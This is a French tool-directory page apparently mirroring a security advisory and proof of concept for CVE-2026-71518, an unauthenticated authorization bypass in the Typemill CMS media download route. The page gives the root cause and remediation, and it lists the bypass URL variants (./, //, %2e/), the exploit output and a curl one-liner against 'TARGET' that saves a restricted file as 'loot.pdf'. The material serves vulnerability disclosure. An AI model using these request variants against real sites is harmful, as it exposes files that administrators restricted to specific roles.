Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-71518 — Avis et PoC pour un contournement d'autorisation sans authentification dans les téléchargements de médias Typemill, utilisant des variantes d'URL à chemins équivalents pour accéder à des fichiers restreints par rôle. | Kitploit
Outils/GitHubGitHub/ilhomjonr/cve-2026-71518
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Avis et PoC pour un contournement d'autorisation sans authentification dans les téléchargements de médias Typemill, utilisant des variantes d'URL à chemins équivalents pour accéder à des fichiers restreints par rôle.

Voir le dépôt
14il y a 24 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-71518 — Typemill : contournement d'autorisation sans authentification

Des variantes d'URL équivalentes en chemin contournent les téléchargements de médias restreints par rôle

La restriction repose sur le chemin brut de la requête ; le fichier est lu depuis le chemin résolu par le système d'exploitation — les deux divergent

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

En un coup d'œil · Résumé · Cause racine · Chaîne d'attaque · Exploit · Remédiation · Chronologie


📋 En un coup d'œil


🔎 Résumé

Typemill permet à un administrateur de restreindre des fichiers média individuels à un rôle utilisateur spécifique via media/files/filerestrictions.yaml. La route de téléchargement publique est censée respecter cette restriction — mais elle vérifie la restriction par rapport au chemin brut de la requête tout en servant les octets depuis le chemin résolu par le système de fichiers. Comme le même fichier possède de nombreuses variantes d'écriture équivalentes en chemin (./name, //name, %2e/name), un attaquant choisit une variante qui ne correspond pas à la clé de restriction mais se résout néanmoins vers le même fichier sur le disque.

La route ne comporte aucun middleware d'authentification, le résultat est donc un téléchargement totalement non authentifié de fichiers qui avaient été explicitement verrouillés à un rôle.


🧬 Cause racine

La route de téléchargement est publique — aucun middleware d'authentification n'y est appliqué :

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

Dans system/typemill/Controllers/ControllerWebDownload.php, la décision de contrôle d'accès et la lecture du fichier utilisent deux représentations différentes du même chemin :

root@kitploit:~
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() ne rejette qu'une séquence littérale .. — elle ne normalise pas ./ ou //, et elle ne rejette pas les équivalents encodés en pourcentage. La clé de restriction et le fichier réellement lu se désynchronisent donc :

Le bug est le schéma classique « décision d'autorisation et accès à la ressource fondés sur des chaînes différentes contrôlables par l'attaquant » (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] reste également brut sous Apache, ce n'est donc pas spécifique au serveur.


⛓️ Chaîne d'attaque

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. L'administrateur téléverse un fichier privé et le restreint à un rôle dans filerestrictions.yaml.
  2. L'URL canonique est correctement bloquée pour les utilisateurs anonymes.
  3. L'attaquant demande une variante équivalente en chemin → la clé de restriction ne correspond pas, le fichier se résout toujours → le téléchargement réussit sans aucune information d'identification.

💥 Exploit

exploit/exploit.py reproduit le problème de bout en bout contre un conteneur de test local. Il (1) fait déposer par l'« admin » un fichier privé restreint au rôle editor, (2) confirme que l'URL canonique est bloquée pour un utilisateur anonyme, puis (3) télécharge le même fichier via chaque variante équivalente en chemin.

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

Sortie attendue :

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

Commande en une ligne contre n'importe quel hôte vulnérable (tests autorisés uniquement) :

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

PoC evidence


🛠️ Remédiation

  • Mettez à jour vers Typemill 2.26.0 ou une version ultérieure.
  • La correction appropriée consiste à canonicaliser/normaliser le chemin de la requête une seule fois, puis à utiliser cette valeur canonique unique à la fois pour la recherche de restriction et la lecture du fichier — afin que la clé de contrôle d'accès et la ressource servie ne puissent jamais diverger.
  • Défense en profondeur : résoudre avec realpath() et confirmer le confinement dans le répertoire de base des médias avant la lecture, et rejeter les séparateurs de chemin encodés en pourcentage.

🗓️ Chronologie

DateÉvénement
2026-08-04Vulnérabilité découverte dans Typemill 2.25.0 ; PoC vérifié de bout en bout sur Docker
2026-08-04Signalée au mainteneur / à VulnCheck

📚 Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-71518
  • Version corrigée : https://github.com/typemill/typemill/releases/tag/v2.26.0

Pour des tests de sécurité autorisés et un usage éducatif uniquement. © @IlhomjonR

Télécharger l’outil
CVE IDCVE-2026-71518
Produittypemill/typemill — Typemill (CMS PHP à fichiers plats, Slim 4)
Versions concernéestoutes les versions < 2.26.0 (vérifié sur 2.25.0, commit 8f3901c)
Corrigé dans2.26.0
FaiblesseCWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS v3.17.5 — Élevé · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — Élevé
VecteurRéseau · aucune authentification · aucune interaction utilisateur
ImpactTéléchargement sans authentification de fichiers média qu'un administrateur a restreints à un rôle privilégié
ChercheurIlhomjon Rustamov (@IlhomjonR)
Chemin de la requêteClé de restriction correspondante ?Fichier résolu sur le disqueRésultat
/media/files/secret.pdf✅ ouisecret.pdf🔒 bloqué (302 → connexion)
/media/files/./secret.pdf❌ nonsecret.pdf🟢 servi (200)
/media/files//secret.pdf❌ nonsecret.pdf🟢 servi (200)
/media/files/%2e/secret.pdf❌ nonsecret.pdf🟢 servi (200)
—Corrigée dans Typemill 2.26.0
2026-08-18CVE-2026-71518 rendue publique ; avis + PoC publiés